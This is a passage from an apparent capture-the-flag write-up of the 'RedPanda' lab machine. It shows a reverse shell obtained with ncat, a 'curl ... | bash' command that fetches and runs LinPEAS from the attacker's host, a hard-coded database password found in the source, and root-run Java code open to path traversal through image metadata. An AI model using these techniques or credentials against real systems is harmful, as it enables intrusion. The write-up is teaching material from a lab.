id="https://www.notion.so/9dc55204062c46e18d88e44b003d2c2c" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span>Ncat: Version <span class="token number">7.92</span> <span class="token punctuation">(</span> https://nmap.org/ncat <span class="token punctuation">)</span>
Ncat: Listening on :::7777
Ncat: Listening on <span class="token number">0.0</span>.0.0:7777
Ncat: Connection from <span class="token number">10.10</span>.11.170.
Ncat: Connection from <span class="token number">10.10</span>.11.170:37098.
bash: cannot <span class="token builtin class-name">set</span> terminal process group <span class="token punctuation">(</span><span class="token number">866</span><span class="token punctuation">)</span>: Inappropriate ioctl <span class="token keyword">for</span> device
bash: no job control <span class="token keyword">in</span> this shell
woodenk@redpanda:/tmp/hsperfdata_woodenk$</span></span></span></code></pre><div id="https://www.notion.so/65aaf192a90b4419bb167222bd999851" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Voila, we’ve got a shell as </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">woodenk</code></span><span class="SemanticString">! Let’s get the user flag:</span></span></p></div><div id="https://www.notion.so/e689f96e72f3447885ea768738cbfa61" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">$ cat ~/user.txt</code></span></span></p></div><h2 id="https://www.notion.so/349e8beae2b540bbab468c753a9dc433" class="ColorfulBlock ColorfulBlock--ColorDefault Heading Heading--2"><a class="Anchor" href="#https://www.notion.so/349e8beae2b540bbab468c753a9dc433"><svg width="16" height="16" viewBox="0 0 16 16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><span class="SemanticStringArray"><span class="SemanticString">Privilege Escalation</span></span></h2><div id="https://www.notion.so/73ff9a874873426d8450f231857da760" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Checking for what privileges we have:</span></span></p></div><div id="https://www.notion.so/ead924afebaf442aafcc150032c70660" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">$ id</code></span></span></p></div><pre id="https://www.notion.so/3d82d96cadf54c45a67335ae8c9cb1a4" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>woodenk<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">1001</span><span class="token punctuation">(</span>logs<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">1001</span><span class="token punctuation">(</span>logs<span class="token punctuation">)</span>,1000<span class="token punctuation">(</span>woodenk<span class="token punctuation">)</span></span></span></span></code></pre><div id="https://www.notion.so/b137163548f843d7aafdfe4a012b8497" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">We are in the </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">logs</code></span><span class="SemanticString"> group, which suggests we might be able to find something useful in the application’s logs.</span></span></p></div><div id="https://www.notion.so/276fded0b2d04eb5aa241cc2b18ccab3" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">To automate the process, we run LinPEAS to enumerate for any privilege escalation vectors:</span></span></p></div><div id="https://www.notion.so/71b406e76a444a41936b16b6daa770b8" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">$ curl -s http://10.10.14.38:8888/linpeas.sh | bash</code></span></span></p></div><div id="https://www.notion.so/0807a37f6b7a40d49c1820f7235c66ab" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">From the LinPEAS result, we have determined the following:</span></span></p></div><ul class="BulletedListWrapper"><li id="https://www.notion.so/264a6bcff8ba4eac84f5b5873db676a5" class="BulletedList"><span class="SemanticStringArray"><span class="SemanticString">The machine is running a MySQL database server on port 3306:</span></span><pre id="https://www.notion.so/5daea3911c5548c0baf0af2e1ffc037e" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span>tcp <span class="token number">0</span> <span class="token number">0</span> <span class="token number">127.0</span>.0.1:3306 <span class="token number">0.0</span>.0.0:* LISTEN -</span></span></span></code></pre></li><li id="https://www.notion.so/d2f3e7c452fb4b54ab0ab578745e4048" class="BulletedList"><span class="SemanticStringArray"><span class="SemanticString">SSH login as root is allowed:</span></span><pre id="https://www.notion.so/0994e87f331b495d81493db9bc8c34c0" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span>PermitRootLogin <span class="token function">yes</span></span></span></span></code></pre></li><li id="https://www.notion.so/8879f47abc6e4bab81c295f990e9a3fb" class="BulletedList"><span class="SemanticStringArray"><span class="SemanticString">There is an unexpected directory </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">/credits</code></span><span class="SemanticString"> in the root.</span></span></li></ul><div id="https://www.notion.so/0c38c519fa8a4a578a57828faa0d1ee1" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">While monitoring for periodic processes with </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">pspy</code></span><span class="SemanticString">, we find that there is a </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">credit-score</code></span><span class="SemanticString"> Java application that gets executed by </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">cron</code></span><span class="SemanticString"> every 2 minutes. More importantly, it is run as the root user:</span></span></p></div><pre id="https://www.notion.so/8b8e33df84bc45b19bfd665310eaf90b" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span>2022/09/11 10:20:01 CMD: UID=0 PID=32376 | /usr/sbin/CRON -f
2022/09/11 10:20:01 CMD: UID=0 PID=32377 | /bin/sh -c /root/run_credits.sh
2022/09/11 10:20:01 CMD: UID=0 PID=32378 | /bin/sh /root/run_credits.sh
2022/09/11 10:20:01 CMD: UID=0 PID=32379 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar</span></span></span></code></pre><div id="https://www.notion.so/411a9ace78cd41a5b69e72d51b5e88d1" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">We can find this along with two other custom applications, and a </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">cleanup.sh</code></span><span class="SemanticString"> script in </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">/opt</code></span><span class="SemanticString">:</span></span></p></div><div id="https://www.notion.so/93fd45467e064a97a51332421d3cf050" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">$ ls -la /opt</code></span></span></p></div><pre id="https://www.notion.so/6306c53f1a1f47309fb59ab8b59beff0" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span>total <span class="token number">24</span>
drwxr-xr-x <span class="token number">5</span> root root <span class="token number">4096</span> Jun <span class="token number">23</span> <span class="token number">18</span>:12 <span class="token builtin class-name">.</span>
drwxr-xr-x <span class="token number">20</span> root root <span class="token number">4096</span> Jun <span class="token number">23</span> <span class="token number">14</span>:52 <span class="token punctuation">..</span>
-rwxr-xr-x <span class="token number">1</span> root root <span class="token number">462</span> Jun <span class="token number">23</span> <span class="token number">18</span>:12 cleanup.sh
drwxr-xr-x <span class="token number">3</span> root root <span class="token number">4096</span> Jun <span class="token number">14</span> <span class="token number">14</span>:35 credit-score
drwxr-xr-x <span class="token number">6</span> root root <span class="token number">4096</span> Jun <span class="token number">14</span> <span class="token number">14</span>:35 maven
drwxrwxr-x <span class="token number">5</span> root root <span class="token number">4096</span> Jun <span class="token number">14</span> <span class="token number">14</span>:35 panda_search</span></span></span></code></pre><div id="https://www.notion.so/634f7417affa4525b5fe5f770390910b" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">The </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">MainController.java</code></span><span class="SemanticString"> file in </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">panda_search</code></span><span class="SemanticString"> contains the password to the SQL database.</span></span></p></div><div id="https://www.notion.so/df115abd24c1433bb7392467b4f7ce6e" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java</code></span><span class="SemanticString">:</span></span></p></div><pre id="https://www.notion.so/6e50557e8d014ee8b2b8a8480ea62721" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span><span class="token class-name">Class</span><span class="token punctuation">.</span><span class="token function">forName</span><span class="token punctuation">(</span><span class="token string">"com.mysql.cj.jdbc.Driver"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
conn <span class="token operator">=</span> <span class="token class-name">DriverManager</span><span class="token punctuation">.</span><span class="token function">getConnection</span><span class="token punctuation">(</span><span class="token string">"jdbc:mysql://localhost:3306/red_panda"</span><span class="token punctuation">,</span> <span class="token string">"woodenk"</span><span class="token punctuation">,</span> <span class="token string">"RedPandazRule"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
stmt <span class="token operator">=</span> conn<span class="token punctuation">.</span><span class="token function">prepareStatement</span><span class="token punctuation">(</span><span class="token string">"SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></span></span></code></pre><div id="https://www.notion.so/41e5b99edc5c4ab39dc572a716e81bdf" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">We have the credentials: </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">woodenk:RedPandazRule</code></span></span></p></div><div id="https://www.notion.so/26822916cbb6452f9e432d152f80e924" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Looking at the </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">credit-score</code></span><span class="SemanticString"> application, we find the Java source code which provides some interesting hints about the mystery </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">/credits</code></span><span class="SemanticString"> directory.</span></span></p></div><div id="https://www.notion.so/6ebd47fa84f34a1c9089a1827c72feb4" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java</code></span><span class="SemanticString">:</span></span></p></div><pre id="https://www.notion.so/ca0dadf2676147be93d9a70326dce861" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span><span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">JDOMException</span><span class="token punctuation">,</span> <span class="token class-name">IOException</span><span class="token punctuation">,</span> <span class="token class-name">JpegProcessingException</span> <span class="token punctuation">{</span>
<span class="token class-name">File</span> log_fd <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">File</span><span class="token punctuation">(</span><span class="token string">"/opt/panda_search/redpanda.log"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">Scanner</span> log_reader <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Scanner</span><span class="token punctuation">(</span>log_fd<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">while</span><span class="token punctuation">(</span>log_reader<span class="token punctuation">.</span><span class="token function">hasNextLine</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
<span class="token punctuation">{</span>
<span class="token class-name">String</span> line <span class="token operator">=</span> log_reader<span class="token punctuation">.</span><span class="token function">nextLine</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isImage</span><span class="token punctuation">(</span>line<span class="token punctuation">)</span><span class="token punctuation">)</span>
<span class="token punctuation">{</span>
<span class="token keyword">continue</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token class-name">Map</span> parsed_data <span class="token operator">=</span> <span class="token function">parseLog</span><span class="token punctuation">(</span>line<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>parsed_data<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">"uri"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">String</span> artist <span class="token operator">=</span> <span class="token function">getArtist</span><span class="token punctuation">(</span>parsed_data<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">"uri"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Artist: "</span> <span class="token operator">+</span> artist<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">String</span> xmlPath <span class="token operator">=</span> <span class="token string">"/credits/"</span> <span class="token operator">+</span> artist <span class="token operator">+</span> <span class="token string">"_creds.xml"</span><span class="token punctuation">;</span>
<span class="token function">addViewTo</span><span class="token punctuation">(</span>xmlPath<span class="token punctuation">,</span> parsed_data<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">"uri"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span></span></span></span></code></pre><div id="https://www.notion.so/7a2e98a1ecfe48129d7366d9bedfed20" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">It seems to be reading from a </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">redpanda.log</code></span><span class="SemanticString"> file, parsing each entry, then writing each artist’s updated credit score to an XML file, then storing them in the </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">/credits</code></span><span class="SemanticString"> directory.</span></span></p></div><div id="https://www.notion.so/2e38f91bdb314288bef319a9b4542243" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">We also find the following code snippet in the </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">panda_search</code></span><span class="SemanticString"> application, which references the </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">redpanda.log</code></span><span class="SemanticString"> file.</span></span></p></div><div id="https://www.notion.so/ad845cb0076a4098963fd5e9fa346581" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java</code></span><span class="SemanticString">:</span></span></p></div><pre id="https://www.notion.so/574cb5dee0a04c9db8f6ed43420a3b08" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span><span class="token annotation punctuation">@Override</span>
<span class="token keyword">public</span> <span class="token keyword">void</span> afterCompletion <span class="token punctuation">(</span><span class="token class-name">HttpServletRequest</span> request<span class="token punctuation">,</span> <span class="token class-name">HttpServletResponse</span> response<span class="token punctuation">,</span> <span class="token class-name">Object</span> handler<span class="token punctuation">,</span> <span class="token class-name">Exception</span> ex<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">{</span>
<span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"interceptor#postHandle called. Thread: "</span> <span class="token operator">+</span> <span class="token class-name">Thread</span><span class="token punctuation">.</span><span class="token function">currentThread</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">String</span> <span class="token class-name">UserAgent</span> <span class="token operator">=</span> request<span class="token punctuation">.</span><span class="token function">getHeader</span><span class="token punctuation">(</span><span class="token string">"User-Agent"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">String</span> remoteAddr <span class="token operator">=</span> request<span class="token punctuation">.</span><span class="token function">getRemoteAddr</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">String</span> requestUri <span class="token operator">=</span> request<span class="token punctuation">.</span><span class="token function">getRequestURI</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">Integer</span> responseCode <span class="token operator">=</span> response<span class="token punctuation">.</span><span class="token function">getStatus</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token comment">/*System.out.println("User agent: " + UserAgent);
System.out.println("IP: " + remoteAddr);
System.out.println("Uri: " + requestUri);
System.out.println("Response code: " + responseCode.toString());*/</span>
<span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"LOG: "</span> <span class="token operator">+</span> responseCode<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"||"</span> <span class="token operator">+</span> remoteAddr <span class="token operator">+</span> <span class="token string">"||"</span> <span class="token operator">+</span> <span class="token class-name">UserAgent</span> <span class="token operator">+</span> <span class="token string">"||"</span> <span class="token operator">+</span> requestUri<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">FileWriter</span> fw <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">FileWriter</span><span class="token punctuation">(</span><span class="token string">"/opt/panda_search/redpanda.log"</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">BufferedWriter</span> bw <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BufferedWriter</span><span class="token punctuation">(</span>fw<span class="token punctuation">)</span><span class="token punctuation">;</span>
bw<span class="token punctuation">.</span><span class="token function">write</span><span class="token punctuation">(</span>responseCode<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"||"</span> <span class="token operator">+</span> remoteAddr <span class="token operator">+</span> <span class="token string">"||"</span> <span class="token operator">+</span> <span class="token class-name">UserAgent</span> <span class="token operator">+</span> <span class="token string">"||"</span> <span class="token operator">+</span> requestUri <span class="token operator">+</span> <span class="token string">"\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
bw<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span></span></span></span></code></pre><div id="https://www.notion.so/f4433b43ac3c43d6959358b5b05e785f" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Which seems to be a simple request logger that serves as a middleware for all requests. The logger records the IP, request URI, response code, along with the user agent of each request, then writes them to the </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">redpanda.log</code></span><span class="SemanticString"> file. All of this interaction seems fine so far, with the exception of the unsafe string concatenation we’ve seen everywhere.</span></span></p></div><div id="https://www.notion.so/6b40a936ba0e4c408c30938be6bea658" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Back to the </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">credit-score</code></span><span class="SemanticString"> application, we see that the “Artist” metadata tag is used in determining the artist of an image.</span></span></p></div><div id="https://www.notion.so/484098a8ca5546b3b0af1bdf22716f82" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java</code></span><span class="SemanticString">:</span></span></p></div><pre id="https://www.notion.so/c4a5e7ecb17849249646ddb4dddfa158" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span><span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token class-name">String</span> <span class="token function">getArtist</span><span class="token punctuation">(</span><span class="token class-name">String</span> uri<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">IOException</span><span class="token punctuation">,</span> <span class="token class-name">JpegProcessingException</span>
<span class="token punctuation">{</span>
<span class="token class-name">String</span> fullpath <span class="token operator">=</span> <span class="token string">"/opt/panda_search/src/main/resources/static"</span> <span class="token operator">+</span> uri<span class="token punctuation">;</span>
<span class="token class-name">File</span> jpgFile <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">File</span><span class="token punctuation">(</span>fullpath<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">Metadata</span> metadata <span class="token operator">=</span> <span class="token class-name">JpegMetadataReader</span><span class="token punctuation">.</span><span class="token function">readMetadata</span><span class="token punctuation">(</span>jpgFile<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">for</span><span class="token punctuation">(</span><span class="token class-name">Directory</span> dir <span class="token operator">:</span> metadata<span class="token punctuation">.</span><span class="token function">getDirectories</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
<span class="token punctuation">{</span>
<span class="token keyword">for</span><span class="token punctuation">(</span><span class="token class-name">Tag</span> tag <span class="token operator">:</span> dir<span class="token punctuation">.</span><span class="token function">getTags</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
<span class="token punctuation">{</span>
<span class="token keyword">if</span><span class="token punctuation">(</span>tag<span class="token punctuation">.</span><span class="token function">getTagName</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token string">"Artist"</span><span class="token punctuation">)</span>
<span class="token punctuation">{</span>
<span class="token keyword">return</span> tag<span class="token punctuation">.</span><span class="token function">getDescription</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token keyword">return</span> <span class="token string">"N/A"</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span></span></span></span></code></pre><div id="https://www.notion.so/b039d42162524bb09846915df161ba19" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">This artist name is then referenced again in the </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">main</code></span><span class="SemanticString"> function, where it is unsafely concatenated to the credit XML file path.</span></span></p></div><pre id="https://www.notion.so/a9b4d968998345b19ec1a86eb8f58428" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span><span class="token class-name">String</span> xmlPath <span class="token operator">=</span> <span class="token string">"/credits/"</span> <span class="token operator">+</span> artist <span class="token operator">+</span> <span class="token string">"_creds.xml"</span><span class="token punctuation">;</span></span></span></span></code></pre><div id="https://www.notion.so/16e66a6a3e094c5aa27e508fc5a8818d" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">By directly concatenating the artist name into the path as so, we can perform a path traversal attack by supplying traversal characters such as </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">../</code></span><span class="SemanticString"> . Though, we don’t have a way to exploit this thus far, so we will keep this in mind for now.</span></span></p></div><div id="https://www.notion.so/4156469353e148329944a3c51710c442" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">The script has the function of incrementing an artist’s view count by one whenever somebody visits an image (URI ending in .jpg). It opens and parses the existing credit XML file, and then overwrites it with the new version:</span></span></p></div><pre id="https://www.notion.so/b87ce2345c684e9da68c53a311c965c7" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span><span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">addViewTo</span><span class="token punctuation">(</span><span class="token class-name">String</span> path<span class="token punctuation">,</span> <span class="token class-name">String</span> uri<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">JDOMException</span><span class="token punctuation">,</span> <span class="token class-name">IOException</span>
<span class="token punctuation">{</span>
<span class="token class-name">SAXBuilder</span> saxBuilder <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">SAXBuilder</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">XMLOutputter</span> xmlOutput <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">XMLOutputter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
xmlOutput<span class="token punctuation">.</span><span class="token function">setFormat</span><span class="token punctuation">(</span><span class="token class-name">Format</span><span class="token punctuation">.</span><span class="token function">getPrettyFormat</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">File</span> fd <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">File</span><span class="token punctuation">(</span>path<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">Document</span> doc <span class="token operator">=</span> saxBuilder<span class="token punctuation">.</span><span class="token function">build</span><span class="token punctuation">(</span>fd<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">Element</span> rootElement <span class="token operator">=</span> doc<span class="token punctuation">.</span><span class="token function">getRootElement</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">for</span><span class="token punctuation">(</span><span class="token class-name">Element</span> el<span class="token operator">:</span> rootElement<span class="token punctuation">.</span><span class="token function">getChildren</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
<span class="token punctuation">{</span>
<span class="token keyword">if</span><span class="token punctuation">(</span>el<span class="token punctuation">.</span><span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token string">"image"</span><span class="token punctuation">)</span>
<span class="token punctuation">{</span>
<span class="token keyword">if</span><span class="token punctuation">(</span>el<span class="token punctuation">.</span><span class="token function">getChild</span><span class="token punctuation">(</span><span class="token string">"uri"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getText</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">equals</span><span class="token punctuation">(</span>uri<span class="token punctuation">)</span><span class="token punctuation">)</span>
<span class="token punctuation">{</span>
<span class="token class-name">Integer</span> totalviews <span class="token operator">=</span> <span class="token class-name">Integer</span><span class="token punctuation">.</span><span class="token function">parseInt</span><span class="token punctuation">(</span>rootElement<span class="token punctuation">.</span><span class="token function">getChild</span><span class="token punctuation">(</span><span class="token string">"totalviews"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getText</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>
<span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Total views:"</span> <span class="token operator">+</span> <span class="token class-name">Integer</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span>totalviews<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
